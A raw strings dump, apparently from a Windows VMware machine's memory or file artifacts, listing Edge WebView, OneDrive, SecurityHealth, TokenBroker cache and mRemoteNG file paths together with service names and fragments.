(x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_hi.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_hi.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_hi.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_he.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_he.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_he.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_gu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_gu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_gu.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lo.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_lb.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_kn.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_kn.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_kn.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_km.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_km.pak \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep CDPUserSvc_3f7d0 PimIndexMaintenanceSvc_3f7d0 UnistoreSvc_3f7d0 UserDataSvc_3f7d0 WpnUserService_3f7d0 \Device\HarddiskVolume3\Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy\machine.pckgdep s\System32\en-US\ipconfig.exe.mui txyewy\machine.pckgdep UUU" SubscribedContent-338389 SubscribedContent-338387 SubscribedContent-310091 SubscribedContent-280810 SubscribedContent-280811 SubscribedContent-88000161 ent-88000163 SubscribedContent-88000165 SubscribedContent-353694 SubscribedContent-88000045 SubscribedContent-353698 SubscribedContent-280815 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy\machine.pckgdep SIONSKU Sessions\1\AppContainerNamedObjects\S-1-15-2-3950126717-3641943460-3038804466-693777006-783539386-1288712031-1294249617 `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \Device\HarddiskVolume3\Windows\Media\Windows Background.wav `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \Device\HarddiskVolume3\Windows\System32\devobj.dll `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll SubscribedContent-338389 SubscribedContent-338387 SubscribedContent-310091 Subscr SubscribedContent-280811 SubscribedContent-88000161 SubscribedContent-88000163 SubscribedContent-88000165 SubscribedContent-353694 SubscribedContent-88000045 SubscribedContent-353698 SubscribedContent-280815 `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \Device\HarddiskVolume3\Windows\System32\avrt.dll `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} e\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dxil.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\EdgeWebView.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\WebView2Loader.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_unscaled_images.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dual_engine_adapter_x64.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Edge.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalState\store.db \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dual_engine_adapter_x64.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\delegatedWebFeatures.sccd \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_unscaled_images.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\eventlog_provider.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\eventlog_provider.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dxil.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\zh-CN.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dxcompiler.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Edge.dat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\zh-CN.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\zh-CN.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\cookie_exporter.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Edge.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\LocalState\store.db \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mip_core.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe.sig \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_wer.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mip_core_gn.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe.sig \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\microsoft_shell_integration.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_feedback\mf_trace.wprp \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO\ie_to_edge_stub.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions\external_extensions.json \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthCore.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthProxyStub.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\webview2_integration.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\resources.pri \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\resources.pri \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions\external_extensions.json \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\webview2_integration.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist\VERSION \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ca-Es-VALENCIA.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\de.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\setup.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\msedge_7z.data \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ar.pak \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpLics.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\as.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\da.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bs.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\msedge_7z.data \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bn-IN.pak \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\af.pak \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpLics.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\el.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\az.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\el.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ar.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\da.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\cy.pak \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\bs.pak blob_storage the-real-index smartscreen.exe \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_pa.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_or.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_or.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_or.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_nn.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_nn.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\copilot_overlay_strings_nn.pak et.pak eu.pak fa.pak fi.pak fil.pak fr-CA.pak fr.pak ga.pak gd.pak gl.pak gu.pak he.pak hi.pak hr.pak PUUTUTNUUTUUTUUT AUTH.EXE UTH.EXE Policy Termsrv Termsrv NETWORKLOOPBACK NETWORKLOOPBACK C:\WINDOWS ache hu.pak id.pak ka.pak kk.pak ko.pak pt-PT.pak sr-Latn-RS.pak eJourneys.db-wal zh-CN.pak zh-TW.pak \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogo.png \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoBeta.png \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\UpdateRingSettings.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthProxyStub.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoCanary.png \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Quick.dll:WofCompressedData \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\resources.pri \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll 2-24.0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_atomic_wait.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\SyncEngine-2026-02-24.0806.5016.2.aodl \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll 2-24.0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140.dll \Device\HarddiskVolume3\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask .5016.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\OneDriveTelemetryStable.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Widgets.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\logs\Personal\CldFlt3-2026-02-24-080700.etlgz \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx 0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncFSNtfs.dll WIN://SYSAPPID MicrosoftWindows.Client.Core_cw5n1h2txyewy \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5QmlModels.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5WinExtras.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5Network.dll \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx 0759.3664.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\PreSignInSettingsConfig.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\ECSConfig.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\PreSignInSettingsConfig.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\Qt5QmlModels.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\libssl-3-x64.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\ECSConfig.json \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\settings\Personal\logUploaderSettings_temp.ini \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll WofCompressedData \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.System.UserProfile.DiagnosticsSettings.dll:WofCompressedData .2.odl erred \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe -24.0800.6368.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\msvcp140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\78c091ac6d34daa9d603629dd088840de549030f.tbres \Device\HarddiskVolume3\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask 008.1.odl erred \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthAgent.dll 24.0800.6368.1.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\CheckboxWindows.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe -24.0800.6368.2.odl \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\Microsoft.SecHealthUI_8wekyb3d8bbwe.appx \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_1_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\TokenBroker\Cache\4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\vcruntime140_app.dll ResiliencyLinks \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BrowsingTopicsSiteData \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\favorites_diagnostic.log \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\favorites_diagnostic.log \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\favorites_diagnostic.log \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoCopilotDev.png \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoCopilotDev.png \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoCopilotDev.png \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileSyncTelemetryExtensions.dll:WofCompressedData 541af4fe0fd3faf0.manifest comctl32.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\Themes\vs2015dark.vstheme VisualElements Logo.png \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\temp-index LogoBeta.png SmallLogoDev.png DIPS LOG.old C:\Program Files\VMware\VMware Tools\vmtoolsd.exe s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG.old~RFf898.TMP C:\Program Files\VMware\VMware Tools\vmtoolsd.exe s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOG.old~RFf898.TMP IDSTORE_BOUNDARY C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\optimization_guide_hint_cache_store\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache tabase\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280811 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\BudgetDatabase atabase\LOG.old \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Local State RF10308.TMP 2d9.TMP d9.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillAiModelCache\LOCK \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOG.old C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\AutofillStrikeDatabase\LOG.old~RFf8a8.TMP LOCK C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Service-0x0-3e7$\Default C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe C:\Windows\System32\SecurityHealthSystray.exe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\88000163\89a5d80ebe624ad8adea344b0b19bb87_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB LOG.old~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOCK ld~RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOCK RFf8b7.TMP \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280810\d736452c68c6438aa79430024cf161c1_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOG.old B\LOG EventDB LOG.old C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe s.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Feature Engagement Tracker\EventDB\LOG \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll 640a.manifest \MREMOTENG.EXE-610BBBDA.pf Qt5Network.dll adal.dll \Device\HarddiskVolume3\Windows\System32\npmproxy.dll \Device\HarddiskVolume3\Windows\SysWOW64\WindowsCodecs.dll es (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll:WofCompressedData fest \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\91800cdbeebb7253e7425341cee1117e\System.Xml.Linq.ni.dll.aux Data SEGOE UI Segoe UI 7c.T 2\Winevt\Logs\Parameters.evtx 